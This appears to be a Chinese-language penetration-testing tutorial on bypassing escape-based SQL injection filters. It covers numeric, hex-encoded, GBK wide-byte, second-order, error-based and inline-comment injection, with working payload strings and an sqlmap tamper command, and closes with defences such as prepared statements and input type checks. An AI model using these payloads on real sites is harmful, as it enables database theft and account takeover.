在渗透测试中，SQL注入始终是Web安全的重点攻击手段。然而，当开发者对用户输入的特殊字符（如单引号、反斜杠）进行转义时，传统的注入方式往往会失效。本文将深入探讨如何绕过字符转义限制，并给出防御建议。
目录
一、为什么字符转义难以彻底防御？
二、绕过字符转义的6种核心技巧
1. 数字型注入：无需引号的攻击
2. 编码/十六进制绕过
3. 宽字节注入（GBK/GB2312字符集）
4. 二次注入：延迟触发的隐蔽攻击
5. 报错注入：利用数据库报错信息
6. 注释符干扰语法
三、自动化工具辅助攻击
SQLMap Tamper脚本
四、防御建议：从开发层面根治
1. 预编译语句（Prepared Statements）
2. 严格输入类型校验
3. 统一字符集
4. 最小化错误信息暴露
五、总结
一、为什么字符转义难以彻底防御？
开发者常通过以下方式过滤输入：
$input = addslashes($_GET['id']); // 转义单引号、双引号等但攻击者仍可通过以下思路突破限制：
- 利用数字型注入（无需闭合引号）
- 编码或函数替代（绕过字符串检测）
- 字符集特性（如GBK宽字节注入）
- 二次注入（存储时转义但使用时未转义）
二、绕过字符转义的6种核心技巧
1. 数字型注入：无需引号的攻击
场景：参数为纯数字（如/news.php?id=1）
Payload示例：
id=1 AND 1=2 UNION SELECT 1,version(),3-- 关键点：直接构造逻辑判断或联合查询，避免使用引号。
2. 编码/十六进制绕过
适用场景：转义函数未过滤编码格式
MySQL示例：
SELECT 0x61646D696E; -- 等价于 'admin'Oracle示例：
SELECT CHR(97)||CHR(98) FROM DUAL; -- 输出 'ab'3. 宽字节注入（GBK/GB2312字符集）
原理：利用数据库字符集的“吞反斜杠”特性。
攻击步骤：
- 构造Payload：
id=1%df%27 - 服务器转义后：
%df%5c%27（%5c为反斜杠） - GBK解码：
%df%5c→ 汉字“運”，%27→ 单引号，最终闭合语句。
4. 二次注入：延迟触发的隐蔽攻击
经典案例：用户注册时存储转义数据，使用时触发注入。
攻击流程：
- 注册用户名为
admin'--（存储为admin\'--） - 修改密码时执行SQL：
UPDATE users SET password='[new]' WHERE username='admin'-- ';--注释后续语句，直接修改admin密码。
5. 报错注入：利用数据库报错信息
MySQL示例（无需闭合引号）：
id=1' AND updatexml(1,CONCAT(0x7e,version()),1)-- 结果：报错信息中返回数据库版本：
XPATH syntax error: '~5.7.26'6. 注释符干扰语法
绕过技巧：使用内联注释破坏原有SQL结构
Payload示例：
id=1'/*!AND*/'1'='1解析效果：
SELECT * FROM articles WHERE id='1'/*!AND*/'1'='1';注释符/*!...*/在MySQL中会被执行，干扰语法解析。
三、自动化工具辅助攻击
SQLMap Tamper脚本
常用脚本：
charencode.py：对Payload进行URL编码gbk.py：自动生成宽字节Payload
使用示例：
sqlmap -u "http://example.com?id=1" --tamper=gbk四、防御建议：从开发层面根治
1. 预编译语句（Prepared Statements）
Java示例：
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setInt(1, userId); // 杜绝拼接2. 严格输入类型校验
$id = intval($_GET['id']); // 强制转换为整数3. 统一字符集
<meta charset="UTF-8"> <!-- 避免宽字节注入 -->4. 最小化错误信息暴露
# Nginx配置：隐藏数据库错误
fastcgi_intercept_errors on;
error_page 500 /custom_500.html;五、总结
绕过字符转义的核心思路是灵活利用数据库特性和协议层的“非预期行为”。攻击者可能通过编码、二次注入甚至WAF规则绕过实现突破，而开发者需从预编译语句、输入校验等层面构建多层防御。
)
汇总)
--TextField)
